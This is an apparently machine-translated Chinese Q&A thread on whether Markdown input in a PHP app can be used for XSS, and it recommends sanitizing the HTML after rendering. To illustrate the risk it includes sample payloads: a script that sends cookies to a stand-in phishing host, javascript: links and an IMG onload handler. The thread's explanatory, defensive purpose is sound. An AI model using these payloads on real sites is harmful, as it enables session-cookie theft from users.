我工作的一个Web应用程序,允许用户在目录中键入项目的简短描述。 我让我的文字区域降价,因此用户可以做一些HTML格式。
我的文字的杀毒功能去掉任何输入的文本所有标签在数据库中插入它之前:
public function sanitizeText($string, $allowedTags = "") {
$string = strip_tags($string, $allowedTags);
if(get_magic_quotes_gpc()) {
return mysql_real_escape_string(stripslashes($string));
} else {
return mysql_real_escape_string($string);
}
}
从本质上讲,所有我在数据库中存储的降价 - 没有其他HTML,甚至“基本HTML”(如在这里SO)是允许的。
将允许降价带来任何安全威胁? 可以降价来XSSed,即使它没有标记?
我认为剥离从输入任何HTML标签会让你很安全的东西 - 除了如果有人找到一种方式来注入一些真的搞砸了数据转换成降价,让它产生一些更加混乱的输出^^
不过,这里有,我想起两件事情:
第一招: strip_tags
是不是一个奇迹的功能:它有一些缺陷...
例如,它会在“<”后剥离了一切,在这样一个情况:
$str = "10 appels is <than 12 apples";
var_dump(strip_tags($str));
我得到的输出是:
string '10 appels is ' (length=13)
这是不是很好的为您的用户:-(
第二个:有一天或另一个,你可能要允许某些HTML标记/属性; 或者,即使在今天,你可能会想,以确保降价不产生一些HTML标签/属性。
你可能会喜欢的东西感兴趣HTMLPurifier :它允许您指定的标签和属性应该保持,并过滤字符串,因此,只有那些依然存在。
它还生成有效的HTML代码-这总是好的;-)
这就是为什么你需要之后,而不是之前要消毒HTML可爱的例子:
降价代码:
> <script type="text/javascript"
> language="js">i=new Image\(\); i.src='http://phishingwebsite.example.com/?l='
> + escape\(window.location\) + '&c=' + escape\(document.cookie\);
> </script>
>
呈现为:
<blockquote>
<p><script type="text/javascript"
language="js">i=new Image(); i.src='http://phishingwebsite.example.com/?l='
+ escape(window.location) + '&c=' + escape(document.cookie);
</script></p>
</blockquote>
现在,你是否担心?
消毒产生的HTML渲染降价之后将是最安全的。 如果不这样做,我认为人们会在降价能够执行任意JavaScript像这样:
[Click me](javascript:alert\('Gotcha!'\);)
PHP降价转换这:
<p><a href="javascript:alert('Gotcha!');">Click me</a></p>
这做这项工作。 ...不要别想开始的代码添加到采取这些案件的照顾。 正确的消毒是不容易的,只需使用一个很好的工具,并把它渲染的降价成HTML后。
将允许降价带来任何安全威胁? 可以降价来XSSed,即使它没有标记?
这是几乎不可能在这方面作出绝对的声明 - 谁又能说什么降价解析器可以充分畸形输入被欺骗?
但是,这种危险可能是非常低的,因为它是一个相对简单的语法。 攻击的最明显的角度是JavaScript的:在链接或图片的URL - 可能不会被允许的解析器,但它的东西,我想退房。
号使用的是降价的方式并不安全。 降价可以安全使用,但你必须使用它的权利。 有关如何安全地使用降价详细,请看这里 。 见链接了解如何安全地使用它的细节,但短期的版本是:使用最新的版本,设置很重要safe_mode
,并设置enable_attributes=False
。
链接也解释了为什么逃离输入,然后调用降价(因为你正在做的)是不够的安全。 短例如: “ [clickme](javascript:alert%28%22xss%22%29)
BB码提供了更多的安全性,因为你正在生成的标记。
<IMG SRC = “” 的onload = “JavaScript的:警报(\ '哈哈\');”/>
如果<IMG>是允许的,这将直接通过用strip_tags;)巴姆!
我帕斯卡尔MARTIN同意,HTML清理是一个更好的办法。 如果你想这样做完全是在JavaScript中,我建议考虑看看谷歌,卡哈的消毒库 ( 源代码 )。